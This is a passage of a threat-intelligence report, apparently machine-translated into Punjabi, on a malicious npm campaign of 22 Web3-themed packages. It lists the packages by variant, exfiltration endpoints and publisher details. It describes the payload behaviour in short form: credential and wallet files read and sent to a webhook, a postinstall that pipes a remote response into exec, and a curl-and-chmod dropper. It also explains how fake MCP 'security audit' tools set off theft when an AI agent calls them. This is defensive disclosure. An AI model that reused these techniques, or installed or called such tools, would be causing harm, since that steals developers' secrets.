ਸਮਾਂਰੇਖਾ ਅਤੇ ਕੈਟਾਲਾਗ

ਮੁਹਿੰਮ ਵਿੱਚ ਸਭ ਤੋਂ ਪਹਿਲਾਂ ਵਾਲਾ ਪੈਕੇਜ ਸਭ ਤੋਂ ਘੱਟ ਵਰਜਨ ਵਾਲਾ ਹੈ: ਚੇਨ-ਕੁੰਜੀ-ਪ੍ਰਮਾਣਕ: 0.2.3 ਅਤੇ ਡਿਫਾਈ-ਐਨਵੀ-ਆਡੀਟਰ:0.3.2 ਸ਼ੁਰੂਆਤੀ ਪ੍ਰਯੋਗਾਤਮਕ ਡ੍ਰੌਪਸ ਵਾਂਗ ਦਿਖਾਈ ਦਿੰਦੇ ਹਨ। ਜਦੋਂ ਪ੍ਰਕਾਸ਼ਕ ਪਹੁੰਚਿਆ ਟਰਫਲ-ਕੌਨਫਿਗ-ਸਹਾਇਕ: 1.7.0 ਅਤੇ ਫਾਊਂਡਰੀ-ਡਿਪਲੋਏ-ਸਹਾਇਕ: 1.8.96, ਵਰਜਨ ਮੁਦਰਾਸਫੀਤੀ ਜਾਣਬੁੱਝ ਕੇ ਕੀਤੀ ਗਈ ਸੀ - ਅਜਿਹੇ ਨੰਬਰ ਚੁਣਨਾ ਜੋ ਇੱਕ ਸਥਾਪਿਤ ਪੈਕੇਜ ਦੇ ਵੰਸ਼ ਵਾਂਗ ਪੜ੍ਹਦੇ ਹਨ। 22 ਵਿੱਚੋਂ ਕਿਸੇ ਦਾ ਵੀ npm 'ਤੇ ਉਸ ਸਹੀ ਨਾਮ ਹੇਠ ਕੋਈ ਪੁਰਾਣਾ ਜਾਇਜ਼ ਇਤਿਹਾਸ ਨਹੀਂ ਹੈ।

ਪੂਰਾ ਕੈਟਾਲਾਗ, ਰੂਪਾਂ ਅਨੁਸਾਰ ਸਮੂਹਬੱਧ:

### ਵੇਰੀਐਂਟ ਏ — ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਹਾਰਵੈਸਟਰ (ਪੋਸਟਇੰਸਟਾਲ + MCP-ਟਾਈਮ ਸਕੈਨਰ.js, MD5 b461106e47a1f5966159cd6e92541505)

ਪੈਕੇਜ	ਵਰਜਨ	ਖੋਜ ਫੀਡਾਂ ਵਿੱਚ ਫਲੈਗ ਕੀਤਾ ਗਿਆ
`mnemonic-safety-check`	0.5.2	ਹਾਂ
`solidity-deploy-guard`	0.4.4	ਹਾਂ
`web3-secrets-detector`	1.2.6	ਹਾਂ
`eth-wallet-sentinel`	1.0.9	ਹਾਂ
`deployment-key-auditor`	0.7.3	ਹਾਂ
`defi-threat-scanner`	2.1.2	ਹਾਂ
`crypto-credential-scanner`	2.0.2	ਹਾਂ
`chain-key-validator`	0.2.3	ਹਾਂ

### ਵੇਰੀਐਂਟ ਬੀ — ਪਿੰਗੀ ਟਨਲ https.get → exec (ਇਸ ਰਿਪੋਰਟ ਤੋਂ ਪਹਿਲਾਂ ਕੋਈ ਖੋਜ-ਫੀਡ ਦ੍ਰਿਸ਼ਟੀ ਨਹੀਂ)

ਪੈਕੇਜ	ਵਰਜਨ	ਪੋਸਟਇੰਸਟਾਲ ਫਲੇਵਰ
`truffle-config-helper`	1.7.0	`https.get → exec(stdout)`
`chainlink-price-feed-aggregator`	1.1.12	`https.get telemetry call`
`ganache-cli-provider`	1.7.51	`https.get telemetry call`
`solana-pda-helper`	1.0.46	`https.get telemetry call`
`foundry-deploy-helper`	1.8.96	`curl + chmod +x /tmp/.node-cache &`

### ਵੇਰੀਐਂਟ C — ਸੁਸਤ, ਰਨਟਾਈਮ ਟਰਿੱਗਰ ਸ਼ੱਕੀ (ਇਸ ਰਿਪੋਰਟ ਤੋਂ ਪਹਿਲਾਂ ਕੋਈ ਖੋਜ-ਫੀਡ ਦ੍ਰਿਸ਼ਟੀ ਨਹੀਂ)

ਪੈਕੇਜ	ਵਰਜਨ	ਸੂਚਨਾ
`wallet-backup-verifier`	1.0.1
`env-security-scanner`	1.6.0
`foundy-toolkit`	1.5.79	ਫਾਊਂਡਰੀ ਦਾ ਟਾਈਪੋਸਕਵਾਟ
`solna-web3`	1.5.98	ਸੋਲਾਨਾ ਦਾ ਟਾਈਪੋਸਕਵਾਟ
`wallet-security-checker`	1.0.3
`hardhat-gas-profiler-plugin`	1.7.86
`ethers-multicall-utils`	1.3.15
`defi-env-auditor`	0.3.2
`etherjs-utils`	1.0.39

ਵੇਰੀਐਂਟ-ਏ ਅਤੇ ਵੇਰੀਐਂਟ-ਬੀ ਕਾਲਮ ਬੇਤਰਤੀਬੇ ਨਹੀਂ ਚੁਣੇ ਜਾਂਦੇ। ਵੇਰੀਐਂਟ-ਏ ਨਾਮ ਸਾਰੇ ਆਪਣੇ ਆਪ ਨੂੰ ਇਸ ਤਰ੍ਹਾਂ ਵੇਚਦੇ ਹਨ ਸੁਰੱਖਿਆ ਆਡਿਟਿੰਗ ਟੂਲ — “ਸੁਰੱਖਿਆ ਜਾਂਚ”, “ਡਿਪਲੋਏ ਗਾਰਡ”, “ਸੀਕ੍ਰੇਟ ਡਿਟੈਕਟਰ”, “ਵਾਲਿਟ ਸੈਂਟੀਨੇਲ”, “ਕੀ ਆਡੀਟਰ”, “ਥ੍ਰੈਟ ਸਕੈਨਰ”, “ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਸਕੈਨਰ”, “ਚੇਨ ਕੀ ਵੈਲੀਡੇਟਰ”। ਇਹਨਾਂ ਦਾ ਉਦੇਸ਼ ਇੱਕ ਡਿਵੈਲਪਰ ਜਾਂ ਏਆਈ ਏਜੰਟ ਹੈ ਜੋ ਵੈੱਬ3 ਪ੍ਰੋਜੈਕਟ ਦੀ ਸੁਰੱਖਿਆ ਦਾ ਮੁਲਾਂਕਣ ਕਰਨ ਲਈ ਇੱਕ ਟੂਲ ਦੀ ਭਾਲ ਵਿੱਚ ਜਾਂਦਾ ਹੈ। ਵੇਰੀਐਂਟ-ਬੀ ਨਾਮ ਸਾਰੇ ਆਪਣੇ ਆਪ ਨੂੰ ਵੇਚਦੇ ਹਨ ਬਿਲਡ ਅਤੇ ਡਿਪਲਾਇਮੈਂਟ ਸਹਾਇਕ ਉਸੇ Web3 ਈਕੋਸਿਸਟਮ ਲਈ — Truffle, Chainlink, Ganache, Solana PDA ਟੂਲਿੰਗ, Foundry। ਇਹ ਸਪਲਿਟ ਇੱਕ ਆਮ Web3 ਡਿਵੈਲਪਰ ਦੇ "ਆਡਿਟ ਪੜਾਅ" ਬਨਾਮ "ਡਿਪਲੋਏ ਪੜਾਅ" ਦੇ ਮਾਨਸਿਕ ਮਾਡਲ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ। ਤੁਸੀਂ ਜਿਸ ਵੀ ਪੜਾਅ ਤੱਕ ਪਹੁੰਚਦੇ ਹੋ, ਪ੍ਰਕਾਸ਼ਕ ਨੇ ਇਸਦੇ ਲਈ ਇੱਕ ਜਾਲ ਪੈਕ ਕੀਤਾ ਹੈ।

ਸਮਝੌਤਾ ਦੇ ਸੂਚਕ

ਨੈੱਟਵਰਕ ਅਤੇ ਫਾਈਲਾਂ

ਆਈਓਸੀ	variant	ਉਦੇਸ਼
`https://ddjidd564.github.io/defi-security-best-practices/config.json`	A	GitHub ਪੰਨਿਆਂ ਰਾਹੀਂ ਹੋਸਟ ਕੀਤਾ ਗਿਆ ਡਾਇਨਾਮਿਕ ਵੈੱਬਹੁੱਕ ਰੈਜ਼ੋਲਵਰ।
`https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233`	A	ਮੌਜੂਦਾ ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਕੁਲੈਕਟਰ ਐਂਡਪੁਆਇੰਟ, ਇੱਕ ਫਾਲਬੈਕ ਵਜੋਂ ਵੀ ਏਮਬੈਡ ਕੀਤਾ ਗਿਆ।
`rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry`	B	ਪਿੰਗੀ ਸੁਰੰਗ ਰਿਮੋਟ ਬਾਈਨਰੀ ਪੇਲੋਡ ਵੰਡਣ ਲਈ ਵਰਤੀ ਜਾਂਦੀ ਹੈ।
`scanner.js MD5 b461106e47a1f5966159cd6e92541505`	A	ਸਾਰੇ 8 ਵੇਰੀਐਂਟ-ਏ ਪੈਕੇਜਾਂ ਵਿੱਚ ਇੱਕੋ ਜਿਹੇ ਸਕੈਨਰ ਪੇਲੋਡ ਦੀ ਮੁੜ ਵਰਤੋਂ ਕੀਤੀ ਗਈ।
`/tmp/.node-cache`	B	ਡੀਟੈਚ ਕੀਤਾ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਇਸ ਦੁਆਰਾ ਛੱਡਿਆ ਗਿਆ `foundry-deploy-helper:1.8.96`.

ਪ੍ਰਕਾਸ਼ਕ

npm ਯੂਜ਼ਰਨੇਮ: ਵੱਲੋਂ ddjidd5640
ਈ-ਮੇਲ: 1623682356@qq.com (ਅਪ੍ਰਮਾਣਿਤ)
ਈਮੇਲ ਅਤੇ SCM ਤਸਦੀਕ: ਕੋਈ ਨਹੀਂ
ਖਾਤੇ ਅਧੀਨ ਪੈਕੇਜ: 22, ਸਾਰੇ ਉੱਪਰ ਦਿੱਤੇ ਕੈਟਾਲਾਗ ਵਿੱਚ ਸੂਚੀਬੱਧ ਹਨ।
ਸਭ ਤੋਂ ਪਹਿਲਾਂ ਦਿਖਾਈ ਦੇਣ ਵਾਲੀ ਗਤੀਵਿਧੀ: ਚੇਨ-ਕੁੰਜੀ-ਪ੍ਰਮਾਣਕ: 0.2.3 (ਵੇਰੀਐਂਟ ਏ)
ਨਵੀਨਤਮ ਦਿਖਾਈ ਦੇਣ ਵਾਲੀ ਗਤੀਵਿਧੀ: ਚੇਨ-ਕੀ-ਵੈਲੀਡੇਟਰ:0.2.3 ਅਤੇ ਕ੍ਰਿਪਟੋ-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ-ਸਕੈਨਰ:2.0.2 (ਦੋਵੇਂ ਇਸ ਲਿਖਤ ਤੋਂ ਪਹਿਲਾਂ 24 ਘੰਟਿਆਂ ਦੇ ਅੰਦਰ)

ਬ੍ਰਾਂਡ ਫਰੰਟ (ਇਸ ਵਿੱਚ ਵਰਤੇ ਗਏ) ਲੇਖਕ / README / ਨਕਲੀ GH org)

“ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ” — ਖਾਲੀ GitHub ਸੰਗਠਨ ਦੁਆਰਾ ਸਮਰਥਤ ਕ੍ਰਿਪਟੋਸੇਕ-ਗਿਲਡ
“Web3 ਆਡਿਟ ਕਲੈਕਟਿਵ” — ਖਾਲੀ GitHub org ਦੁਆਰਾ ਸਮਰਥਤ ਡਬਲਯੂ3ਆਡਿਟ
“DeFi ਸੁਰੱਖਿਆ ਅਲਾਇੰਸ” — ਖਾਲੀ GitHub ਸੰਗਠਨ ਦੁਆਰਾ ਸਮਰਥਤ ਡਿਫਾਈ-ਸੁਰੱਖਿਆ
ਹਵਾਲਾ GH ਖਾਤਾ ddjidd564 — ਡਾਇਨਾਮਿਕ-ਵੈੱਬਹੁੱਕ config.json ਦਾ ਹੋਸਟ

ਰਵੱਈਆ

ਨੋਡ -e ਇਹਨਾਂ ਵਿੱਚੋਂ ਕੋਈ ਵੀ ਪੜ੍ਹਨ ਤੋਂ ਬਾਅਦ ਇੰਸਟਾਲ ਕਰੋ .ssh, .ਈਥਰਿਅਮ, .ਬਿਟਕੋਇਨ, .env, .ਬਾਸ਼_ਇਤਹਾਸਕ, .zsh_ਇਤਿਹਾਸ, .git-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਨਾਲ .ਸਲਾਈਸ(0, 200) ਅਤੇ ਨਾਲ ਜੋੜ ਕੇ | ਸੈਪਰੇਟਰ ਵੇਰੀਐਂਟ A ਲਈ ਇੱਕ ਲਗਭਗ ਵਿਲੱਖਣ ਫਿੰਗਰਪ੍ਰਿੰਟ ਹੈ।
ਆਯਾਤ ਕਰ ਰਿਹਾ ਹੈ ./scanner.js ਇੱਕ ਪੈਕੇਜ ਤੋਂ ਜੋ ਆਪਣੇ ਆਪ ਨੂੰ ਇੱਕ MCP ਵਜੋਂ ਰਜਿਸਟਰ ਕਰਦਾ ਹੈ ਸਰਵਰ ਨਾਮ ਦੇ ਔਜ਼ਾਰਾਂ ਨਾਲ ਸਰਚ_ਲੀਕ_ਕ੍ਰੈਡੈਂਸ਼ੀਅਲਸ ਜਾਂ ਇਸੇ ਤਰ੍ਹਾਂ ਫਰੇਮ ਕੀਤੇ "ਸੁਰੱਖਿਆ ਆਡਿਟ" ਕਿਰਿਆਵਾਂ ਇੱਕ ਵੇਰੀਐਂਟ-ਏ ਪੁਸ਼ਟੀਕਰਨ ਹੈ।
ਇੱਕ ਨੋਡ -e ਪੋਸਟਇੰਸਟਾਲ ਜੋ ਕਿਸੇ ਵੀ *.run.pinggy-free.link ਹੋਸਟ ਤੋਂ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ ਅਤੇ ਜਵਾਬ ਨੂੰ child_process.exec ਵਿੱਚ ਪਾਈਪ ਕਰਦਾ ਹੈ, ਰੈਪਰ ਦੀ ਪਰਵਾਹ ਕੀਤੇ ਬਿਨਾਂ ਇੱਕ ਵੇਰੀਐਂਟ-B ਪੁਸ਼ਟੀਕਰਨ ਹੈ।

ਵਿਸ਼ੇਸ਼ਤਾ ਅਤੇ ਪ੍ਰੇਰਣਾ

ਮੇਜ਼ 'ਤੇ ਪ੍ਰਕਾਸ਼ਕ ਦੇ ਅੰਸ਼ਕ ਫਿੰਗਰਪ੍ਰਿੰਟ ਲਈ ਕਾਫ਼ੀ ਹੈ ਅਤੇ ਅਸਲ ਪਛਾਣ ਲਈ ਲਗਭਗ ਕਾਫ਼ੀ ਨਹੀਂ ਹੈ। ਈਮੇਲ 1623682356@qq.com ਇੱਕ QQ ਮੇਲ ਪਤਾ ਹੈ — Tencent ਦਾ ਮੁਫ਼ਤ ਵੈੱਬਮੇਲ, ਜੋ ਮੁੱਖ ਭੂਮੀ ਚੀਨ ਵਿੱਚ ਪ੍ਰਸਿੱਧ ਹੈ — ਅਤੇ ਸੰਖਿਆਤਮਕ ਸਥਾਨਕ-ਭਾਗ QQ ਉਪਭੋਗਤਾ ID ਹੈ; ਅਸੀਂ ਇਸਨੂੰ ਸਿਰਫ਼ ਸਾਫਟ ਸਿਗਨਲ ਵਜੋਂ ਮੰਨਦੇ ਹਾਂ, ਕਿਉਂਕਿ QQ-ਫਾਰਮੈਟ ਪਤੇ ਮਾਮੂਲੀ ਤੌਰ 'ਤੇ ਰਜਿਸਟਰਡ ਹਨ। npm ਖਾਤੇ ਵਿੱਚ ਕੋਈ ਦੋ-ਕਾਰਕ ਖੁਲਾਸਾ ਨਹੀਂ ਹੈ, ਕੋਈ ਪ੍ਰਮਾਣਿਤ ਈਮੇਲ ਨਹੀਂ ਹੈ, ਕੋਈ ਪ੍ਰਮਾਣਿਤ ਨਹੀਂ ਹੈ SCM ਲਿੰਕ। “ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ” / “ਵੈੱਬ3 ਆਡਿਟ ਕਲੈਕਟਿਵ” / “ਡੀਫਾਈ ਸੁਰੱਖਿਆ ਅਲਾਇੰਸ” ਬ੍ਰਾਂਡ ਟ੍ਰਾਈਡ ਥੋਕ ਵਿੱਚ ਬਣਾਇਆ ਗਿਆ ਹੈ — ਤਿੰਨਾਂ ਵਿੱਚੋਂ ਕੋਈ ਵੀ ਇਸ ਮੁਹਿੰਮ ਤੋਂ ਬਾਹਰ ਮੌਜੂਦ ਨਹੀਂ ਹੈ — ਅਤੇ ਸਮਰਥਨ ਕਰਨ ਵਾਲੇ GitHub ਸੰਗਠਨ ਖਾਲੀ ਸ਼ੈੱਲ ਹਨ ਜੋ npm ਪੰਨੇ ਦੇ ਲਿੰਕਾਂ ਨੂੰ ਭਰਨ ਲਈ ਬਣਾਏ ਗਏ ਹਨ।

ਦੋ ਪੈਟਰਨਾਂ ਦਾ ਨਾਮਕਰਨ ਕਰਨਾ ਯੋਗ ਹੈ, ਕਿਉਂਕਿ ਉਹ ਨਾਲ ਲੱਗਦੀਆਂ ਮੁਹਿੰਮਾਂ ਵਿੱਚ ਦਿਖਾਈ ਦਿੰਦੇ ਹਨ। ਪਹਿਲਾ ਹੈ ਸਮਾਜਿਕ ਸਬੂਤ ਵਜੋਂ ਬ੍ਰਾਂਡ ਪ੍ਰੀਫੈਬਰੀਕੇਸ਼ਨ: ਆਪਰੇਟਰ ਨੇ ਮੌਜੂਦਾ ਪ੍ਰੋਜੈਕਟ ਦੇ ਨਾਮ ਟਾਈਪੋਸਕੈਟ ਲਈ ਨਹੀਂ ਚੁਣੇ; ਉਨ੍ਹਾਂ ਨੇ ਸ਼ੁਰੂ ਤੋਂ ਹੀ ਇੱਕ ਪੂਰਾ ਟਰੱਸਟ ਬਿਰਤਾਂਤ ਤਿਆਰ ਕੀਤਾ, ਇਹ ਜਾਣਦੇ ਹੋਏ ਕਿ ਇੱਕ ਏਆਈ-ਏਜੰਟ ਬਿਲਡ pipeline ਜਾਂ ਇੱਕ ਜਲਦਬਾਜ਼ੀ ਵਾਲਾ ਡਿਵੈਲਪਰ npm ਪੰਨੇ ਨੂੰ ਸਕੈਨ ਕਰ ਰਿਹਾ ਹੈ, ਜੋ "ਇੱਕ ਸੁਰੱਖਿਆ ਸੰਗਠਨ ਹੈ" ਦੀ ਬਜਾਏ "ਇੱਕ ਸੁਰੱਖਿਆ ਸੰਗਠਨ ਵਰਗਾ ਲੱਗਦਾ ਹੈ" 'ਤੇ ਪੈਟਰਨ-ਮੇਲ ਕਰੇਗਾ। ਇਹ ਉਹੀ ਪਹੁੰਚ ਹੈ ਜਿਸ ਬਾਰੇ ਸਲੋਪਸਕਵੇਟਿੰਗ ਸਾਹਿਤ ਨੇ ਚੇਤਾਵਨੀ ਦਿੱਤੀ ਸੀ - ਪੈਕੇਜ ਉਸ ਕਿਸਮ ਦੇ ਨਾਮ ਨਾਲ ਜੁੜੇ ਹੋਏ ਹਨ ਜਿਸ ਤਰ੍ਹਾਂ ਦਾ ਨਾਮ ਇੱਕ LLM ਕਰੇਗਾ। ਕਾਢ ਜੇਕਰ Web3 ਸੁਰੱਖਿਆ ਟੂਲ ਦੀ ਮੰਗ ਕੀਤੀ ਜਾਵੇ, ਤਾਂ ਇਹ ਇੰਨਾ ਵਧੀਆ ਢੰਗ ਨਾਲ ਤਿਆਰ ਹੋਵੇ ਕਿ LLM ਦੁਬਾਰਾ ਜਾਂਚ ਨਾ ਕਰੇ। ਝੁਕ ਕੇ ਬੈਠਣਾ ਇਹ ਹਾਲ ਹੀ ਵਿੱਚ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਸ਼ਬਦ ਹੈ ਜਿਨ੍ਹਾਂ ਦੇ ਨਾਮ ਪਲੇਸਹੋਲਡਰਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦੇ ਹਨ LLMs ਇੱਕ ਅਧਿਕਾਰਤ ਪੈਕੇਜ ਮੌਜੂਦ ਨਾ ਹੋਣ 'ਤੇ ਭਰਮ ਪੈਦਾ ਕਰਦੇ ਹਨ; ਇਹ ਮੁਹਿੰਮ ਇਸਦਾ ਵਧੇਰੇ ਹਮਲਾਵਰ ਚਚੇਰਾ ਭਰਾ ਹੈ, ਜਿੱਥੇ ਆਪਰੇਟਰ ਉਸ ਸੰਗਠਨ ਨੂੰ ਵੀ ਘੜਦਾ ਹੈ ਜਿਸ ਨਾਲ ਪਲੇਸਹੋਲਡਰ ਸਬੰਧਤ ਹੋਵੇਗਾ।

ਦੂਜਾ ਪੈਟਰਨ ਹੈ MCP-ਸਮਾਂ ਸਰਗਰਮੀ. ਸਮੇਂ ਤੱਕ ਸਕੈਨਰ.ਜੇਐਸ ਚੱਲਦਾ ਹੈ, ਇੰਸਟਾਲੇਸ਼ਨ ਪੂਰੀ ਹੋ ਗਈ ਹੈ ਅਤੇ ਡਿਵੈਲਪਰ ਅੱਗੇ ਵਧ ਗਿਆ ਹੈ। ਟਰਿੱਗਰ ਏਆਈ ਏਜੰਟ ਹੈ ਜੋ ਇੱਕ ਟੂਲ ਨੂੰ ਕਾਲ ਕਰ ਰਿਹਾ ਹੈ — ਸਰਚ_ਲੀਕ_ਕ੍ਰੈਡੈਂਸ਼ੀਅਲਸ, ਵੇਰੀਐਂਟ-ਏ ਮਾਮਲੇ ਵਿੱਚ - ਜੋ ਕਿ ਏਜੰਟ ਬਿਲਕੁਲ ਕਰੇਗਾ, ਕਿਉਂਕਿ ਇਹੀ ਕਾਰਨ ਹੈ ਕਿ ਇਸਨੂੰ ਪੈਕੇਜ ਦਿੱਤਾ ਗਿਆ ਸੀ। ਇਹ ਖਤਰਨਾਕ ਕੰਮ ਇਸ ਦੌਰਾਨ ਹੁੰਦਾ ਹੈ ਚੰਗਾ ਵਰਕਫਲੋ ਦਾ ਇੱਕ ਹਿੱਸਾ, ਜਦੋਂ ਡਿਵੈਲਪਰ ਆਪਣੇ ਏਆਈ ਸਹਾਇਕ ਨੂੰ ਉਸ ਕੰਮ ਵਿੱਚ ਸਫਲ ਹੁੰਦੇ ਦੇਖ ਰਿਹਾ ਹੁੰਦਾ ਹੈ ਜਿਸ ਲਈ ਉਹ ਪੁੱਛਦਾ ਹੈ। ਇਹ ਪੁਰਾਣੇ "ਐਕਸਫਿਲ ਔਨ" ਤੋਂ ਇੱਕ ਛੋਟੀ ਜਿਹੀ ਵਿਵਹਾਰਕ ਤਬਦੀਲੀ ਹੈ। npm ਇੰਸਟਾਲ” ਪੈਟਰਨ, ਅਤੇ ਇਹ ਇੰਸਟਾਲ-ਟਾਈਮ ਸੈਂਡਬੌਕਸਿੰਗ ਨੂੰ ਸਾਫ਼-ਸਾਫ਼ ਚਕਮਾ ਦਿੰਦਾ ਹੈ।

ਅਸੀਂ ਕਿਸੇ ਧਮਕੀ ਦੇਣ ਵਾਲੇ ਦਾ ਨਾਮ ਨਹੀਂ ਲੈ ਰਹੇ ਹਾਂ। ਸਿਗਨਲ (QQ ਈਮੇਲ, ਸਿੰਗਲ-ਅਕਾਊਂਟ, 22-ਪੈਕੇਜ ਸਿੰਗਲ-ਡੇਅ ਬਰਸਟ, ਦੋ ਸਮਾਨਾਂਤਰ C2 ਸਟੈਕ) ਇੱਕ ਸਥਾਈ ਆਪਰੇਟਰ, ਇੱਕ ਛੋਟੀ ਟੀਮ, ਜਾਂ ਪੈਕੇਜ-ਫਲੱਡ ਕਰੂਆਂ ਵਿੱਚੋਂ ਇੱਕ ਦੇ ਬਰਾਬਰ ਇਕਸਾਰ ਹਨ ਜੋ 2025-2026 ਤੱਕ npm ਟੈਲੀਮੈਟਰੀ ਵਿੱਚ ਦਿਖਾਈ ਦੇ ਰਿਹਾ ਹੈ। ਅਸੀਂ ਕੀ ਹੋ ਸਕਦਾ ਹੈ ਕਹਿਣ ਦਾ ਭਾਵ ਇਹ ਹੈ ਕਿ ਇਸ ਆਪਰੇਟਰ ਕੋਲ ਇੱਕ ਸਪਸ਼ਟ ਪਸੰਦੀਦਾ ਈਕੋਸਿਸਟਮ (Ethereum + Solana + Foundry/Hardhat ਟੂਲਿੰਗ), ਇੱਕ ਸਪਸ਼ਟ ਪਸੰਦੀਦਾ ਪੀੜਤ (Web3 ਡਿਵੈਲਪਰ ਅਤੇ Web3 ਪ੍ਰੋਜੈਕਟਾਂ 'ਤੇ ਕੰਮ ਕਰਨ ਵਾਲੇ AI ਏਜੰਟ), ਅਤੇ ਇੱਕ ਸਪਸ਼ਟ ਪਸੰਦੀਦਾ ਸਥਿਰਤਾ ਮਾਡਲ (MCP-ਟਾਈਮ ਰਨਟਾਈਮ ਟਰਿੱਗਰ ਅਤੇ ਇੱਕ ਵੱਖਰਾ ਬਾਈਨਰੀ ਫਾਲਬੈਕ) ਹੈ।

ਪ੍ਰਭਾਵ, ਰੁਝਾਨ, ਅਤੇ ਡਿਫੈਂਡਰ ਕੀ ਕਰ ਸਕਦੇ ਹਨ

ਸਾਡੀ ਸ਼ੁਰੂਆਤੀ ਚੇਤਾਵਨੀ pipeline ਫੜਿਆ 8 ਦੇ 22 ਮੁਹਿੰਮ ਦੇ ਜੀਵਨ ਕਾਲ ਦੌਰਾਨ ਪੈਕੇਜ - ਛੇ ਸ਼ੁਰੂਆਤੀ ਸਵੀਪ 'ਤੇ ਅਤੇ ਦੋ ਹੋਰ ਜੋ ਉਸੇ ਦਿਨ ਬਾਅਦ ਵਿੱਚ ਮੁਹਿੰਮ-ਕਲੱਸਟਰਿੰਗ ਪਾਸ ਦੌਰਾਨ ਪਹੁੰਚੇ। ਬਾਕੀ 14 ਪੈਕੇਜ npm 'ਤੇ ਦਿਨਾਂ ਲਈ ਲਾਈਵ ਸਨ। ਸਾਡੇ ਦੁਆਰਾ ਨਿਗਰਾਨੀ ਕੀਤੇ ਜਾਣ ਵਾਲੇ ਕਿਸੇ ਵੀ ਖੋਜ ਫੀਡ ਵਿੱਚ ਕਦੇ ਵੀ ਸਾਹਮਣੇ ਆਏ ਬਿਨਾਂ, ਅਤੇ ਲਿਖਣ ਦੇ ਸਮੇਂ ਇੰਸਟਾਲ ਕਰਨ ਯੋਗ ਰਹਿੰਦੇ ਹਨ। ਇਹ ਪਾੜਾ ਮਾਇਨੇ ਰੱਖਦਾ ਹੈ ਕਿਉਂਕਿ:

ਇੰਸਟਾਲੇਸ਼ਨ ਦੌਰਾਨ ਵੇਰੀਐਂਟ A ਚੁੱਪ ਰਹਿੰਦਾ ਹੈ।. ਡੌਟਫਾਈਲ ਰੀਡ ਹੁੰਦੀ ਹੈ, ਪਰ ਬਲਕ ਐਕਸਫਿਲ ਸਿਰਫ਼ ਉਦੋਂ ਹੀ ਚਾਲੂ ਹੁੰਦੀ ਹੈ ਜਦੋਂ ਇੱਕ AI ਏਜੰਟ ਪੈਕੇਜ ਦੇ MCP ਟੂਲਸ ਨੂੰ ਇਨਵੋਕ ਕਰਦਾ ਹੈ। A standard ਪੋਸਟਇੰਸਟਾਲ-ਵਾਚਿੰਗ ਸੈਂਡਬੌਕਸ ਦੇਖੇਗਾ ਨੋਡ -e ਬਲਾਕ ਕਰੋ ਅਤੇ ਫੈਸਲਾ ਕਰੋ ਕਿ ਇਹ ਛੋਟਾ ਹੈ ਅਤੇ ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ ਅਯੋਗ ਹੈ।
ਵੇਰੀਐਂਟ B ਇੱਕ ਸਿੰਗਲ ਲਾਈਨ ਹੈ। ਇੱਕ ਮਾਲਵੇਅਰ ਵਰਗੀਕਰਣਕਰਤਾ ਲਈ ਸਿੱਖਣ ਲਈ ਕੁਝ ਵੀ ਨਹੀਂ ਹੈ - ਕੋਈ ਗੁੰਝਲਦਾਰ ਨਹੀਂ, ਕੋਈ ਏਨਕੋਡ ਕੀਤਾ ਪੇਲੋਡ ਨਹੀਂ, ਕੋਈ ਸ਼ੱਕੀ ਦਿਖਾਈ ਦੇਣ ਵਾਲਾ ਡੋਮੇਨ ਨਹੀਂ। ਪਿੰਗੀ ਟਨਲ ਇੱਕ ਜਾਇਜ਼ ਡਿਵੈਲਪਰ ਸੇਵਾ ਹੈ। ਇੱਕੋ ਇੱਕ ਸ਼ੱਕੀ ਗੱਲ ਇਹ ਹੈ ਕਿ ਇੱਕ "ਸੰਰਚਨਾ ਸਹਾਇਕ" ਨੂੰ ਘਰ ਫ਼ੋਨ ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ ਹੈ।
ਵੇਰੀਐਂਟ C ਪੂਰੀ ਤਰ੍ਹਾਂ ਸਾਫ਼ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ। ਇਸਦੀ ਕੋਈ ਇੰਸਟਾਲੇਸ਼ਨ ਨਹੀਂ ਹੈ। hooks. ਹਰੇਕ ਸਥਿਰ ਸਿਗਨਲ ਦੁਆਰਾ, ਇਹ ਆਮ ਹੁੰਦਾ ਹੈ।

ਐਮਸੀਪੀ-ਟੂਲ ਯੁੱਗ ਲਈ ਇੱਕ ਛੋਟੀ ਡਿਫੈਂਡਰ ਚੈੱਕਲਿਸਟ

ਤਿੰਨ ਠੋਸ ਕਾਰਵਾਈਆਂ ਜੋ ਇਸ ਮੁਹਿੰਮ ਨੂੰ ਪਹਿਲਾਂ ਹੀ ਫੜ ਲੈਂਦੀਆਂ:

ਪ੍ਰਕਾਸ਼ਕ ਦਾ ਭਾਰ ਪਾਓ, ਪੈਕੇਜ ਦਾ ਨਹੀਂ। ਇੱਕ ਸਾਲ ਪੁਰਾਣੇ QQ-ਮੇਲ ਖਾਤੇ ਦੇ ਤਹਿਤ ਬਾਈ ਪੈਕੇਜ, ਬਿਨਾਂ ਕਿਸੇ SCM ਤਸਦੀਕ ਕਿਸੇ ਵੀ ਪ੍ਰਤੀ-ਪੈਕੇਜ ਵਿਸ਼ੇਸ਼ਤਾ ਨਾਲੋਂ ਇੱਕ ਚਮਕਦਾਰ ਸੰਕੇਤ ਹੈ। ਸਾਡੇ ਸ਼ੁਰੂਆਤੀ-ਚੇਤਾਵਨੀ ਵਰਕਫਲੋ ਨੇ ਪਹਿਲੇ ਪੈਕੇਜਾਂ ਨੂੰ ਫੜ ਲਿਆ ਕਿਉਂਕਿ ਪ੍ਰਕਾਸ਼ਕ ਫਿੰਗਰਪ੍ਰਿੰਟ ਵੱਖਰਾ ਸੀ - ਇੱਕ ਪ੍ਰਕਾਸ਼ਕ-ਪ੍ਰਸਿੱਧੀ ਸਕੋਰ ਦੀ ਸਿਫ਼ਾਰਸ਼ 